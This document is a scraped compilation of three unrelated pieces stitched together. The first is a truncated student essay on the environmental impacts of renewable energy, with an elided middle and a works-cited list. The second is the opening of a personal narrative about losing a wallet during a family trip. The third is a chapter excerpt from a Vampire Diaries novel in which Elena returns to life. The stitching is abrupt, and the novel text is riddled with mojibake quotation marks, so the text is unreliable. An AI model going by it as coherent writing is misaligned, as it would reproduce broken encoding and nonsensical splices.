The amazing thing about renewable energy resources is that they do not deplete. These energy resources include energies such as hydroelectric energy, solar energy, wind energy, and geothermal energy. The major advantage of using these resources is that the environmental impact is extremely low when compared to the use of fossil fuels and other energy processes. One of the most used renewable energy sources is hydroelectric power. When you look at all the environmental impacts of dams, etc., they seem to be a lot less devastating than those effects due to the use of coal and oil for producing energy. Some of the environmental impacts include major flooding due to the gigantic reservoirs that are formed by dams, which in turn makes certain areas of useful land worthless (Baird). Another impact is that the flow and quality of the water may be affected in ways that the dissolved oxygen content of the water will decrease, but this problem can be minimized with proper flow control (US Dept. of Energy). On the other hand, hydroelectric plants do not release any emissions such as carbon dioxide or sulfur dioxide, both of which increase to global warming and climate change. This is a tremendous advantage over fossil fuel use. Also, there isn't any need to worry about nuclear disasters like there is with the use of nuclear energy. Another renewable energy resource that has a lower amount of environmental impact is solar energy. Solar energy is created and used through the use of photovoltaic cells that collect the suns energy and then convert that energy into a useful form like electricity. As one would think when first asked about solar energy and photovoltaic cells, there aren't many environmental impacts associated with it. The o... ...there isn't any negative impact on the environment due to renewable energy resources, but based on all the evidence, it seems that non-renewable resources such as coal, natural gas, and petroleum, all have a much more negative influence on the world around them. Works Cited AWEA. Wind Energy and the Environment. 2014. http://www.awea.org/faq/tutorial/wwt_environment.html#Bird%20and%20bat%20kills%20and%20other%20effects. Baird, Stuart. Geothermal Energy. 2013. http://www.iclei.org/EFACTS/GEOTHERM.HTM Baird, Stuart. Hydroelectric Power. 2014. http://www.iclei.org/EFACTS/HYDROELE.HTM Baird, Stuart. Photovoltaic Cells. 2013. http://www.iclei.org/EFACTS/PHOTOVOL.HTM Baird, Stuart. Wind Energy. 2012. http://www.iclei.org/EFACTS/WIND.HTM US Dept. of Energy. Environmental Issues and Mitigation. 4/27/2014. http://www.eere.energy.gov/RE/hydro_enviro.html

Personal Narrative- Lost Wallet :: Personal Narrative

Personal Narrative- Lost Wallet A wallet, or purse for some, is a precious item in which most people carry things more essential than money towards everyday life. If some people were to lose that portable safe, they may be offset for the rest of that day. The person without that wallet could be cranky or depressed for a while. Maybe something of great sentimental value was in that wallet. This person could stay hold these feelings for a long time, until they find their belongings by which case they are filled with joy. I, personally, keep anything I may have interest in knowing where it is, in my wallet. I am very good about always having my wallet and never losing it...until recently. In my wallet, I store dire personal items such as my lisence and some pictures. Among other things, I have my money, like everybody else, and certificates for stores. This summer, I went to the Keys with my family. I drove down there with my wallet and took it everywhere with me, like I would any other time. Well, when someone doesn't have pockets, then it is hard to keep their wallet right next to them at all times. I was carrying my wallet out from the hotel, along with my keys, and set both on top of the car. When I figured out that I needed the keys in order to get in the car and turn it on, I took them off the top of the roof, leaving my wallet behind. I sat in the car, car door open, waiting for my dad to make it to the car so we could all go to a diving area. Once he made it to the car, without thinking, I closed the door and started the car. I had been driving about half a mile before I realized that my wallet was no longer on my body. Immediately, I pulled the car over, and the next hour or so was spent looking for my wallet. All I could think about was what I would lose if I didn't find my wallet. The week before was my birthday, and I was given $60 to Best Buy and $50 to Auto Zone. Aside from that I had $3 in cash. While walking up and down the road that my wallet flew off on, my sister found my two Best Buy cards.

The Vampire Diaries: Dark Reunion Chapter Sixteen

Bonnie never could quite remember how the next few seconds went. She heard Stefan's cry that almost seemed to shake the earth beneath her. She saw Damon start toward him. And then she saw the flash. A flash like Klaus's lightning, only not blue-white. This one was gold. And so bright Bonnie felt that the sun had exploded in front of her eyes. All she could make out for several seconds were whirling colors. And then she saw something in the middle of the clearing, near the chimney stack. Something white, shaped like the ghosts, only more solid looking. Something small and huddled that had to be anything but what her eyes were telling her it looked like. Because it looked like a slender naked girl trembling on the forest floor. A girl with golden hair. It looked like Elena. Not the glowing, candle-lit Elena of the spirit world and not the pale, inhumanly beautiful girl who had been Elena the vampire. This was an Elena whose creamy skin was blotching pink and showing gooseflesh under the spatter of the rain. An Elena who looked bewildered as she slowly raised her head and gazed around her, as if all the familiar things in the clearing were unfamiliar to her. It's an illusion. Either that or they gave her a few minutes to say good-bye. Bonnie kept telling herself that, but she couldn't make herself believe it. â€Å"Bonnie?† said a voice uncertainly. A voice that wasn't like wind chimes at all. The voice of a frightened young girl. Bonnie's knees gave out. A wild feeling was growing inside her. She tried to push it away, not daring to even examine it yet. She just watched Elena. Elena touched the grass in front of her. Hesitantly at first, then more and more firmly, quicker and quicker. She picked up a leaf in fingers that seemed clumsy, put it down, patted the ground. Snatched it up again. She grabbed a whole handful of wet leaves, held them to her, smelled them. She looked up at Bonnie, the leaves scattering away. For a moment, they just knelt and stared at each other from the distance of a few feet. Then, tremulously, Bonnie stretched out her hand. She couldn't breathe. The feeling was growing and growing. Elena's hand came up in turn. Reached toward Bonnie's. Their fingers touched. Real fingers. In the real world. Where they both were. Bonnie gave a kind of scream and threw herself on Elena. In a minute she was patting her everywhere in a frenzy, with wild, disbelieving delight. And Elena was solid. She was wet from the rain and she was shivering and Bonnie's hands didn't go through her. Bits of damp leaf and crumbs of soil were clinging to Elena's hair. Elena gasped back, â€Å"I can touch you! I'm here!† She grabbed the leaves again. â€Å"I can touch the ground!† â€Å"I can see you touching it!† They might have kept this up indefinitely, but Meredith interrupted. She was standing a few steps away, staring, her dark eyes enormous, her face white. She made a choking sound. â€Å"Meredith!† Elena turned to her and held out handfuls of leaves. She opened her arms. Meredith, who had been able to cope when Elena's body was found in the river, when Elena had appeared at her window as a vampire, when Elena had materialized in the clearing like an angel, just stood there, shaking. She looked about to faint. â€Å"Meredith, she's solid! You can touch her! See?† Bonnie pummeled Elena again joyfully. Meredith didn't move. She whispered, â€Å"It's impossible-â€Å" â€Å"It's true! See? It's true!† Bonnie was getting hysterical. She knew she was, and she didn't care. If anyone had a right to get hysterical, it was her. â€Å"It's true, it's true,† she caroled. â€Å"Meredith, come see.† Meredith, who had been staring at Elena all this while, made another choked sound. Then, with one motion, she flung herself down on Elena. She touched her, found that her hand met the resistance of flesh. She looked into Elena's face. And then she burst into uncontrollable tears. She cried and cried, her head on Elena's naked shoulder. Bonnie gleefully patted both of them. â€Å"Don't you think she'd better put something on?† said a voice, and Bonnie looked up to see Caroline taking off her dress. Caroline did it rather calmly, standing in her beige polyester slip afterward as if she did this sort of thing all the time. No imagination, Bonnie thought again, but without malice. Clearly there were times when no imagination was an advantage. Meredith and Bonnie pulled the dress over Elena's head. She looked small inside it, wet and somehow unnatural, as if she wasn't used to clothing anymore. But it was some protection from the elements, anyway. Then Elena whispered, â€Å"Stefan.† She turned. He was standing there, with Damon and Matt, a little apart from the girls. He was just watching her. As if not only his breath, but his life was held, waiting. Elena got up and took a tottery step to him, and then another and another. Slim and newly fragile inside her borrowed dress, she wavered as she moved toward him. Like the little mermaid learning how to use her legs, Bonnie thought. He let her get almost all the way there, just staring, before he stumbled toward her. They ended in a rush and then fell to the ground together, arms locked around each other, each holding on as tightly as possible. Neither of them said a word. Bonnie watched unabashedly, feeling some of the heady joy spill over into tears. Her throat ached, but these were sweet tears, not the salt tears of pain, and she was still smiling. She was filthy, she was soaking wet, she had never been so happy in her life. She felt as if she wanted to dance and sing and do all sorts of crazy things. Some time later Elena looked up from Stefan to all of them, her face almost as bright as when she'd floated in the clearing like an angel. Shining like starlight. No one will ever call her Ice Princess again, Bonnie thought. â€Å"My friends,† Elena said. It was all she said, but it was enough, that and the queer little sob she gave as she held out a hand to them. They were around her in a second, swarming her, all trying to embrace at once. Even Caroline. â€Å"Elena,† Caroline said, â€Å"I'm sorry†¦Ã¢â‚¬  â€Å"It's all forgotten now,† Elena said, and hugged her as freely as anyone else. Then she grasped a sturdy brown hand and held it briefly to her cheek. â€Å"Matt,† she said, and he smiled at her, blue eyes swimming. But not with misery at seeing her in Stefan's arms, Bonnie thought. Just now Matt's face expressed only happiness. A shadow fell over the little group, coming between them and the moonlight. Elena looked up, and held out her hand again. â€Å"Damon,† she said. The clear light and shining love in her face was irresistible. Or it should have been irresistible, Bonnie thought. But Damon stepped forward unsmiling, his black eyes as bottomless and unfathomable as ever. None of the starlight that shone from Elena was reflected back from them. Stefan looked up at him fearlessly, as he'd looked into the painful brilliance of Elena's golden brightness. Then, never looking away, he held out his hand as well. Damon stood gazing down at them, the two open, fearless faces, the mute offer of their hands. The offer of connection, warmth, humanity. Nothing showed in his own face, and he was utterly motionless himself. â€Å"Come on, Damon,† Matt said softly. Bonnie looked at him quickly, and saw that the blue eyes were intent now as they looked at the shadowed hunter's face. Damon spoke without moving. â€Å"I'm not like you.† â€Å"You're not as different from us as you want to think,† Matt said. â€Å"Look,† he added, an odd note of challenge in his voice, â€Å"I know you killed Mr. Tanner in self-defense, because you told me. And I know you didn't come here to Fell's Church because Bonnie's spell dragged you here, because I sorted the hair and I didn't make any mistakes. You're more like us than you admit, Damon. The only thing I don't know is why you didn't go into Vickie's house to help her.† Memory swept over Bonnie. Herself standing outside Vickie's house, Damon standing beside her. Stefan's voice: Vickie, invite me in. But no one had invited Damon. â€Å"But how did Klaus get in, then-?† she began, following her own thoughts. â€Å"That was Tyler's job, I'm sure,† Damon said tersely. â€Å"What Tyler did for Klaus in return for learning how to reclaim his heritage. And he must have invited Klaus in before we ever started guarding the house-probably before Stefan and I came to Fell's Church. Klaus was well prepared. That night he was in the house and the girl was dead before I knew what was happening.† â€Å"Why didn't you call for Stefan?† Matt said. There was no accusation in his voice. It was a simple question. â€Å"Because there was nothing he could have done! I knew what you were dealing with as soon as I saw it. An Old One. Stefan would only have gotten himself killed- and the girl was past caring, anyway.† Bonnie heard the thread of coldness in his voice, and when Damon turned back to Stefan and Elena, his face had hardened. It was as if some decision had been made. â€Å"You see, I'm not like you,† he said. â€Å"It doesn't matter.† Stefan had still not withdrawn his hand. Neither had Elena. â€Å"And sometimes the good guys do win,† Matt said quietly, encouragingly. â€Å"Damon-† Bonnie began. Slowly, almost reluctantly, he turned toward her. She was thinking about that moment when they had been kneeling over Stefan and he had looked so young. When they had been just Damon and Bonnie at the edge of the world. She thought, for just one instant, that she saw stars in those black eyes. And she could sense in him something-some ferment of feelings like longing and confusion and fear and anger all mixed. But then it was all smoothed over again and his shields were back up and Bonnie's psychic senses told her nothing. And those black eyes were simply opaque. He turned back to the couple on the ground. Then he removed his jacket and stepped behind Elena. He draped it over her shoulders without touching her. â€Å"It's a cold night,† he said. His eyes held Stefan's a moment as he settled the black jacket around her. And then he turned to walk into the darkness between the oak trees. In an instant Bonnie heard the rush of wings. Stefan and Elena wordlessly joined hands again, and Elena's golden head dropped to Stefan's shoulder. Over her hair Stefan's green eyes were turned toward the patch of night where his brother had disappeared. â€Å"You wanted us all back together again!† Bonnie shouted at Caroline, and pulled the scandalized girl into the dance. Meredith, her dignity forgotten, joined them too. And for a long time in the clearing there was only rejoicing. June 21, 7:30 a.m. The Summer Solstice Dear Diary, Oh, it's all too much to explain and you wouldn't believe it anyway. I'm going to bed. Bonnie